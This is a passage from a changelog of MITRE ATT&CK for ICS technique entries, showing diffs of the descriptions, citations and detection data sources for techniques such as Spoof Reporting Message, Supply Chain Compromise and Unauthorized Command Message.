Execution](https://attack.mitre.org/techniques/T0863) to gain execution and access. (Citation: Enterprise ATT&CK October 2019) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012, targeted ONG organizations and their employees. The emails were constructed with a high level of sophistication to convince employees to open the malicious file attachments. (Citation: Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) July 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0865 | https://attack.mitre.org/Technique/T0865 |
| external_references[1]['source_name'] | EAttack Spearphishing Attachment | Enterprise ATT&CK October 2019 |
| external_references[1]['description'] | Enterprise ATT&CK. (2019, October 25). Spearphishing Attachment. Retrieved October 25, 2019. | Enterprise ATT&CK 2019, October 25 Spearphishing Attachment Retrieved. 2019/10/25 |
| external_references[2]['source_name'] | CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021 | Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) July 2021 |
| external_references[2]['description'] | ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021. | Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) 2021, July 20 Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013 Retrieved. 2021/10/08 |
[T0856] Spoof Reporting Message
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may spoof reporting messages in control systems | t | Adversaries may spoof reporting messages in control system e |
| environments to achieve evasion and assist with impairment o | | nvironments for evasion and to impair process control. In co |
| f process controls. Reporting messages are used in control s | | ntrol systems, reporting messages contain telemetry data (e. |
| ystems so that operators and network defenders can understan | | g., I/O values) pertaining to the current state of equipment |
| d the status of the network. Reporting messages show the sta | | and the industrial process. Reporting messages are importan |
| tus of devices and any important events that the devices con | | t for monitoring the normal operation of a system or identif |
| trol. If an adversary has the ability to Spoof Reporting | | ying important events such as deviations from expected value |
| Messages, then they can impact the network in many ways. The | | s. If an adversary has the ability to Spoof Reporting Messa |
| adversary can Spoof Reporting Messages that state that the | | ges, they can impact the control system in many ways. The ad |
| device is in normal working condition, as a form of evasion. | | versary can Spoof Reporting Messages that state that the pro |
| The adversary could also Spoof Reporting Messages to make t | | cess is operating normally, as a form of evasion. The advers |
| he defenders and operators think that other errors were occu | | ary could also Spoof Reporting Messages to make the defender |
| rring, to distract them from the actual source of the proble | | s and operators think that other errors are occurring in ord |
| m. (Citation: Research - Research - Taxonomy Cyber Attacks o | | er to distract them from the actual source of a problem. (Ci |
| n SCADA) In the Maroochy Attack, the adversary used a dedic | | tation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011) I |
| ated analog two-way radio system to send false data and inst | | n the Maroochy Attack, the adversary used a dedicated analog |
| ructions to pumping stations and the central computer. (Cita | | two-way radio system to send false data and instructions to |
| tion: Maroochy - MITRE - 200808) | | pumping stations and the central computer. (Citation: Marsh |
| | | all Abrams July 2008) |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.912000+00:00 |
| description | Adversaries may spoof reporting messages in control systems environments to achieve evasion and assist with impairment of process controls. Reporting messages are used in control systems so that operators and network defenders can understand the status of the network. Reporting messages show the status of devices and any important events that the devices control.
If an adversary has the ability to Spoof Reporting Messages, then they can impact the network in many ways. The adversary can Spoof Reporting Messages that state that the device is in normal working condition, as a form of evasion. The adversary could also Spoof Reporting Messages to make the defenders and operators think that other errors were occurring, to distract them from the actual source of the problem. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)
In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808) | Adversaries may spoof reporting messages in control system environments for evasion and to impair process control. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. Reporting messages are important for monitoring the normal operation of a system or identifying important events such as deviations from expected values. If an adversary has the ability to Spoof Reporting Messages, they can impact the control system in many ways. The adversary can Spoof Reporting Messages that state that the process is operating normally, as a form of evasion. The adversary could also Spoof Reporting Messages to make the defenders and operators think that other errors are occurring in order to distract them from the actual source of a problem. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Marshall Abrams July 2008) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0856 | https://attack.mitre.org/Technique/T0856 |
| external_references[1]['source_name'] | Research - Research - Taxonomy Cyber Attacks on SCADA | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 |
| external_references[1]['description'] | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 A Taxonomy of Cyber Attacks on SCADA Systems Retrieved. 2018/01/12 |
| external_references[2]['source_name'] | Maroochy - MITRE - 200808 | Marshall Abrams July 2008 |
| external_references[2]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[2]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
[T0869] Standard Application Layer Protocol
Current version: 1.0
Version changed from: 0.0 → 1.0
New Detections:
- DS0029: Network Traffic (Network Traffic Content)
- DS0029: Network Traffic (Network Traffic Flow)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.912000+00:00 |
| description | Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port.
Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network. | Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0869 | https://attack.mitre.org/Technique/T0869 |
[T0862] Supply Chain Compromise
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may perform supply chain compromise to gain cont | t | Adversaries may perform supply chain compromise to gain cont |
| rol systems environment access by means of infected products | | rol systems environment access by means of infected products |
| , software, and workflows. Supply chain compromise is the ma | | , software, and workflows. Supply chain compromise is the ma |
| nipulation of products, such as devices or software, or thei | | nipulation of products, such as devices or software, or thei |
| r delivery mechanisms before receipt by the end consumer. Ad | | r delivery mechanisms before receipt by the end consumer. Ad |
| versary compromise of these products and mechanisms is done | | versary compromise of these products and mechanisms is done |
| for the goal of data or system compromise, once infected pro | | for the goal of data or system compromise, once infected pro |
| ducts are introduced to the target environment. Supply cha | | ducts are introduced to the target environment. Supply cha |
| in compromise can occur at all stages of the supply chain, f | | in compromise can occur at all stages of the supply chain, f |
| rom manipulation of development tools and environments to ma | | rom manipulation of development tools and environments to ma |
| nipulation of developed products and tools distribution mech | | nipulation of developed products and tools distribution mech |
| anisms. This may involve the compromise and replacement of l | | anisms. This may involve the compromise and replacement of l |
| egitimate software and patches, such as on third party or ve | | egitimate software and patches, such as on third party or ve |
| ndor websites. Targeting of supply chain compromise can be d | | ndor websites. Targeting of supply chain compromise can be d |
| one in attempts to infiltrate the environments of a specific | | one in attempts to infiltrate the environments of a specific |
| audience. In control systems environments with assets in bo | | audience. In control systems environments with assets in bo |
| th the IT and OT networks, it is possible a supply chain com | | th the IT and OT networks, it is possible a supply chain com |
| promise affecting the IT environment could enable further ac | | promise affecting the IT environment could enable further ac |
| cess to the OT environment. Counterfeit devices may be intro | | cess to the OT environment. Counterfeit devices may be int |
| duced to the global supply chain posing safety and cyber ris | | roduced to the global supply chain posing safety and cyber r |
| ks to asset owners and operators. These devices may not meet | | isks to asset owners and operators. These devices may not me |
| the safety, engineering and manufacturing requirements of r | | et the safety, engineering and manufacturing requirements of |
| egulatory bodies but may feature tagging indicating conforma | | regulatory bodies but may feature tagging indicating confor |
| nce with industry standards. Due to the lack of adherence to | | mance with industry standards. Due to the lack of adherence |
| standards and overall lesser quality, the counterfeit produ | | to standards and overall lesser quality, the counterfeit pro |
| cts may pose a serious safety and operational risk. Yokogawa | | ducts may pose a serious safety and operational risk. (Citat |
| identified instances in which their customers received coun | | ion: Control Global May 2019) Yokogawa identified instance |
| terfeit differential pressure transmitters using the Yokogaw | | s in which their customers received counterfeit differential |
| a logo. The counterfeit transmitters were nearly indistingui | | pressure transmitters using the Yokogawa logo. The counterf |
| shable with a semblance of functionality and interface that | | eit transmitters were nearly indistinguishable with a sembla |
| mimics the genuine product. F-Secure Labs analyzed the appr | | nce of functionality and interface that mimics the genuine p |
| oach the adversary used to compromise victim systems with Ha | | roduct. (Citation: Control Global May 2019) F-Secure Labs |
| vex. (Citation: (Citation: Havex - F-Secure) - 201406) The | | analyzed the approach the adversary used to compromise victi |
| adversary planted trojanized software installers available o | | m systems with Havex. (Citation: Daavid Hentunen, Antti Tikk |
| n legitimate ICS/SCADA vendor websites. After being download | | anen June 2014) The adversary planted trojanized software in |
| ed, this software infected the host computer with a Remote A | | stallers available on legitimate ICS/SCADA vendor websites. |
| ccess Trojan (RAT). | | After being downloaded, this software infected the host comp |
| | | uter with a Remote Access Trojan (RAT). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-11 16:22:12.527000+00:00 | 2022-04-21 22:02:03.914000+00:00 |
| description | Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment.
Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. Counterfeit devices may be introduced to the global supply chain posing safety and cyber risks to asset owners and operators. These devices may not meet the safety, engineering and manufacturing requirements of regulatory bodies but may feature tagging indicating conformance with industry standards. Due to the lack of adherence to standards and overall lesser quality, the counterfeit products may pose a serious safety and operational risk. Yokogawa identified instances in which their customers received counterfeit differential pressure transmitters using the Yokogawa logo. The counterfeit transmitters were nearly indistinguishable with a semblance of functionality and interface that mimics the genuine product.
F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. (Citation: (Citation: Havex - F-Secure) - 201406) The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT). | Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. Counterfeit devices may be introduced to the global supply chain posing safety and cyber risks to asset owners and operators. These devices may not meet the safety, engineering and manufacturing requirements of regulatory bodies but may feature tagging indicating conformance with industry standards. Due to the lack of adherence to standards and overall lesser quality, the counterfeit products may pose a serious safety and operational risk. (Citation: Control Global May 2019) Yokogawa identified instances in which their customers received counterfeit differential pressure transmitters using the Yokogawa logo. The counterfeit transmitters were nearly indistinguishable with a semblance of functionality and interface that mimics the genuine product. (Citation: Control Global May 2019) F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. (Citation: Daavid Hentunen, Antti Tikkanen June 2014) The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT). |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0862 | https://attack.mitre.org/Technique/T0862 |
| external_references[1]['source_name'] | Control Global Yokogawa May 2019 | Control Global May 2019 |
| external_references[1]['description'] | Control Global. (2019, May 29). Yokogawa announcement warns of counterfeit transmitters. Retrieved April 9, 2021. | Control Global 2019, May 29 Yokogawa announcement warns of counterfeit transmitters Retrieved. 2021/04/09 |
| external_references[2]['source_name'] | Havex - F-Secure - 201406 | Control Global May 2019 |
| external_references[2]['description'] | F-Secure Labs. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved October 21, 2019. | Control Global 2019, May 29 Yokogawa announcement warns of counterfeit transmitters Retrieved. 2021/04/09 |
| external_references[2]['url'] | https://www.f-secure.com/weblog/archives/00002718.html | https://www.controlglobal.com/industrynews/2019/yokogawa-announcement-warns-of-counterfeit-transmitters/ |
| external_references[3]['source_name'] | Havex - F-Secure | Daavid Hentunen, Antti Tikkanen June 2014 |
| external_references[3]['description'] | Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019. | Daavid Hentunen, Antti Tikkanen 2014, June 23 Havex Hunts For ICS/SCADA Systems Retrieved. 2019/04/01 |
| x_mitre_platforms[1] | Data Historian | Data Historian |
| x_mitre_platforms[2] | Field Controller/RTU/PLC/IED | Field Controller/RTU/PLC/IED |
| x_mitre_platforms[3] | Human-Machine Interface | Human-Machine Interface |
| x_mitre_platforms[4] | Input/Output Server | Input/Output Server |
| x_mitre_platforms[5] | Safety Instrumented System/Protection Relay | Safety Instrumented System/Protection Relay |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'F-Secure Labs June 2014', 'description': 'F-Secure Labs 2014, June 23 Havex Hunts For ICS/SCADA Systems Retrieved. 2019/10/21 ', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'} |
[T0857] System Firmware
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | System firmware on modern assets is often designed with an u | t | System firmware on modern assets is often designed with an u |
| pdate feature. Older device firmware may be factory installe | | pdate feature. Older device firmware may be factory installe |
| d and require special reprograming equipment. When available | | d and require special reprograming equipment. When available |
| , the firmware update feature enables vendors to remotely pa | | , the firmware update feature enables vendors to remotely pa |
| tch bugs and perform upgrades. Device firmware updates are o | | tch bugs and perform upgrades. Device firmware updates are o |
| ften delegated to the user and may be done using a software | | ften delegated to the user and may be done using a software |
| update package. It may also be possible to perform this task | | update package. It may also be possible to perform this task |
| over the network. An adversary may exploit the firmware upd | | over the network. An adversary may exploit the firmware up |
| ate feature on accessible devices to upload malicious or out | | date feature on accessible devices to upload malicious or ou |
| -of-date firmware. Malicious modification of device firmware | | t-of-date firmware. Malicious modification of device firmwar |
| may provide an adversary with root access to a device, give | | e may provide an adversary with root access to a device, giv |
| n firmware is one of the lowest programming abstraction laye | | en firmware is one of the lowest programming abstraction lay |
| rs.(Citation: Research - Firmware Modification) | | ers. (Citation: Basnight, Zachry, et al.) |
New Detections:
- DS0001: Firmware (Firmware Modification)
- DS0029: Network Traffic (Network Traffic Content)
- DS0029: Network Traffic (Network Traffic Flow)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.915000+00:00 |
| description | System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers.(Citation: Research - Firmware Modification) | System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers. (Citation: Basnight, Zachry, et al.) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0857 | https://attack.mitre.org/Technique/T0857 |
| external_references[1]['source_name'] | Research - Firmware Modification | Basnight, Zachry, et al. |
| external_references[1]['description'] | Basnight, Zachry, et al.. (n.d.). Retrieved October 17, 2017. | Basnight, Zachry, et al. 2013 Retrieved. 2017/10/17 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'} | |
[T0882] Theft of Operational Information
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may steal operational information on a productio | t | Adversaries may steal operational information on a productio |
| n environment as a direct mission outcome for personal gain | | n environment as a direct mission outcome for personal gain |
| or to inform future operations. This information may include | | or to inform future operations. This information may include |
| design documents, schedules, rotational data, or similar ar | | design documents, schedules, rotational data, or similar ar |
| tifacts that provide insight on operations. In the Bowman | | tifacts that provide insight on operations. In the Bowman |
| Dam incident, adversaries probed systems for operational dat | | Dam incident, adversaries probed systems for operational da |
| a. (Citation: Bowman Dam - Times) (Citation: Bowman Dam - wa | | ta. (Citation: Mark Thompson March 2016) (Citation: Danny Ya |
| ll street journal) | | dron December 2015) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-11 16:22:12.527000+00:00 | 2022-04-21 22:02:03.916000+00:00 |
| description | Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations.
In the Bowman Dam incident, adversaries probed systems for operational data. (Citation: Bowman Dam - Times) (Citation: Bowman Dam - wall street journal) | Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. In the Bowman Dam incident, adversaries probed systems for operational data. (Citation: Mark Thompson March 2016) (Citation: Danny Yadron December 2015) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0882 | https://attack.mitre.org/Technique/T0882 |
| external_references[1]['source_name'] | Bowman Dam - Times | Mark Thompson March 2016 |
| external_references[1]['description'] | Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019. | Mark Thompson 2016, March 24 Iranian Cyber Attack on New York Dam Shows Future of War Retrieved. 2019/11/07 |
| external_references[2]['source_name'] | Bowman Dam - wall street journal | Danny Yadron December 2015 |
| external_references[2]['description'] | Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019. | Danny Yadron 2015, December 20 Iranian Hackers Infiltrated New York Dam in 2013 Retrieved. 2019/11/07 |
[T0864] Transient Cyber Asset
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may target devices that are transient across ICS | t | Adversaries may target devices that are transient across ICS |
| networks and external networks. Normally, transient assets | | networks and external networks. Normally, transient assets |
| are brought into an environment by authorized personnel and | | are brought into an environment by authorized personnel and |
| do not remain in that environment on a permanent basis. (Cit | | do not remain in that environment on a permanent basis. (Cit |
| ation: NERC June 2021) Transient assets are commonly needed | | ation: North American Electric Reliability Corporation June |
| to support management functions and may be more common in sy | | 2021) Transient assets are commonly needed to support manage |
| stems where a remotely managed asset is not feasible, extern | | ment functions and may be more common in systems where a rem |
| al connections for remote access do not exist, or 3rd party | | otely managed asset is not feasible, external connections fo |
| contractor/vendor access is required. Adversaries may take | | r remote access do not exist, or 3rd party contractor/vendor |
| advantage of transient assets in different ways. For instanc | | access is required. Adversaries may take advantage of tran |
| e, adversaries may target a transient asset when it is conne | | sient assets in different ways. For instance, adversaries ma |
| cted to an external network and then leverage its trusted ac | | y target a transient asset when it is connected to an extern |
| cess in another environment to launch an attack. They may al | | al network and then leverage its trusted access in another e |
| so take advantage of installed applications and libraries th | | nvironment to launch an attack. They may also take advantage |
| at are used by legitimate end-users to interact with control | | of installed applications and libraries that are used by le |
| system devices. Transient assets, in some cases, may not b | | gitimate end-users to interact with control system devices. |
| e deployed with a secure configuration leading to weaknesses | | Transient assets, in some cases, may not be deployed with a |
| that could allow an adversary to propagate malicious execut | | secure configuration leading to weaknesses that could allow |
| able code, e.g., the transient asset may be infected by malw | | an adversary to propagate malicious executable code, e.g., |
| are and when connected to an ICS environment the malware pro | | the transient asset may be infected by malware and when conn |
| pagates onto other systems. In the Maroochy attack, the adv | | ected to an ICS environment the malware propagates onto othe |
| ersary utilized a computer, possibly stolen, with proprietar | | r systems. In the Maroochy attack, the adversary utilized a |
| y engineering software to communicate with a wastewater syst | | computer, possibly stolen, with proprietary engineering sof |
| em. (Citation: Maroochy - MITRE - 200808) | | tware to communicate with a wastewater system. (Citation: Ma |
| | | rshall Abrams July 2008) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 15:25:32.143000+00:00 | 2022-04-21 22:02:03.920000+00:00 |
| description | Adversaries may target devices that are transient across ICS networks and external networks. Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis. (Citation: NERC June 2021) Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required.
Adversaries may take advantage of transient assets in different ways. For instance, adversaries may target a transient asset when it is connected to an external network and then leverage its trusted access in another environment to launch an attack. They may also take advantage of installed applications and libraries that are used by legitimate end-users to interact with control system devices.
Transient assets, in some cases, may not be deployed with a secure configuration leading to weaknesses that could allow an adversary to propagate malicious executable code, e.g., the transient asset may be infected by malware and when connected to an ICS environment the malware propagates onto other systems.
In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. (Citation: Maroochy - MITRE - 200808) | Adversaries may target devices that are transient across ICS networks and external networks. Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis. (Citation: North American Electric Reliability Corporation June 2021) Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required. Adversaries may take advantage of transient assets in different ways. For instance, adversaries may target a transient asset when it is connected to an external network and then leverage its trusted access in another environment to launch an attack. They may also take advantage of installed applications and libraries that are used by legitimate end-users to interact with control system devices. Transient assets, in some cases, may not be deployed with a secure configuration leading to weaknesses that could allow an adversary to propagate malicious executable code, e.g., the transient asset may be infected by malware and when connected to an ICS environment the malware propagates onto other systems. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. (Citation: Marshall Abrams July 2008) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0864 | https://attack.mitre.org/Technique/T0864 |
| external_references[1]['source_name'] | NERC June 2021 | North American Electric Reliability Corporation June 2021 |
| external_references[1]['description'] | North American Electric Reliability Corporation. (2021, June 28). Glossary of Terms Used in NERC Reliability Standards. Retrieved October 11, 2021. | North American Electric Reliability Corporation 2021, June 28 Glossary of Terms Used in NERC Reliability Standards Retrieved. 2021/10/11 |
| external_references[2]['source_name'] | Maroochy - MITRE - 200808 | Marshall Abrams July 2008 |
| external_references[2]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[2]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| x_mitre_data_sources[2] | Assets: Asset Inventory | Asset: Asset Inventory |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'NIST Apr 2013', 'description': 'National Institute of Standards and Technology. (2013, April). Security and Privacy Controls for Federal Information Systems and Organizations. Retrieved September 17, 2020.', 'url': 'https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf'} | |
| external_references | {'source_name': 'NAFT Dec 2019', 'description': 'North America Transmission Forum. (2019, December). NATF Transient Cyber Asset Guidance. Retrieved September 25, 2020.', 'url': 'https://www.natf.net/docs/natf/documents/resources/security/natf-transient-cyber-asset-guidance.pdf'} | |
| external_references | {'source_name': 'Emerson Exchange', 'description': 'Emerson Exchange. (n.d.). Increase Security with TPM, Secure Boot, and Trusted Boot. Retrieved September 25, 2020.', 'url': 'https://emersonexchange365.com/products/control-safety-systems/f/plc-pac-systems-industrial-computing-forum/8383/increase-security-with-tpm-secure-boot-and-trusted-boot'} | |
| external_references | {'source_name': 'National Security Agency Feb 2016', 'description': 'National Security Agency. (2016, February). Position Zero: Integrity Checking Windows-Based ICS/SCADA Systems. Retrieved September 25, 2020.', 'url': 'https://apps.nsa.gov/iaarchive/library/ia-guidance/security-configuration/industrial-control-systems/position-zero-integrity-checking-windows-based-ics-scada-systems.cfm'} | |
[T0855] Unauthorized Command Message
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may send unauthorized command messages to instru | t | Adversaries may send unauthorized command messages to instru |
| ct control system assets to perform actions outside of their | | ct control system assets to perform actions outside of their |
| intended functionality, or without the logical precondition | | intended functionality, or without the logical precondition |
| s to trigger their expected function. Command messages are u | | s to trigger their expected function. Command messages are u |
| sed in ICS networks to give direct instructions to control s | | sed in ICS networks to give direct instructions to control s |
| ystems devices. If an adversary can send an unauthorized com | | ystems devices. If an adversary can send an unauthorized com |
| mand message to a control system, then it can instruct the c | | mand message to a control system, then it can instruct the c |
| ontrol systems device to perform an action outside the norma | | ontrol systems device to perform an action outside the norma |
| l bounds of the device's actions. An adversary could potenti | | l bounds of the device's actions. An adversary could potenti |
| ally instruct a control systems device to perform an action | | ally instruct a control systems device to perform an action |
| that will cause an Impact. (Citation: Research - Research - | | that will cause an [[Impact]]. (Citation: Bonnie Zhu, Anthon |
| Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the | | y Joseph, Shankar Sastry 2011) In the Maroochy Attack, the |
| adversary used a dedicated analog two-way radio system to s | | adversary used a dedicated analog two-way radio system to s |
| end false data and instructions to pumping stations and the | | end false data and instructions to pumping stations and the |
| central computer. (Citation: Maroochy - MITRE - 200808) In t | | central computer. (Citation: Marshall Abrams July 2008) In |
| he Dallas Siren incident, adversaries were able to send comm | | the Dallas Siren incident, adversaries were able to send com |
| and messages to activate tornado alarm systems across the ci | | mand messages to activate tornado alarm systems across the c |
| ty without an impending tornado or other disaster. (Citation | | ity without an impending tornado or other disaster. (Citatio |
| :ZDNet Dallas April 2017) (Citation:StateScoop Dallas March | | n: Zack Whittaker April 2017) (Citation: Benjamin Freed Marc |
| 2019) | | h 2019) |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
- DS0040: Operational Databases (Process History/Live Data)
- DS0040: Operational Databases (Process/Event Alarm)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.918000+00:00 |
| description | Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808) In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. (Citation:ZDNet Dallas April 2017) (Citation:StateScoop Dallas March 2019) | Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct 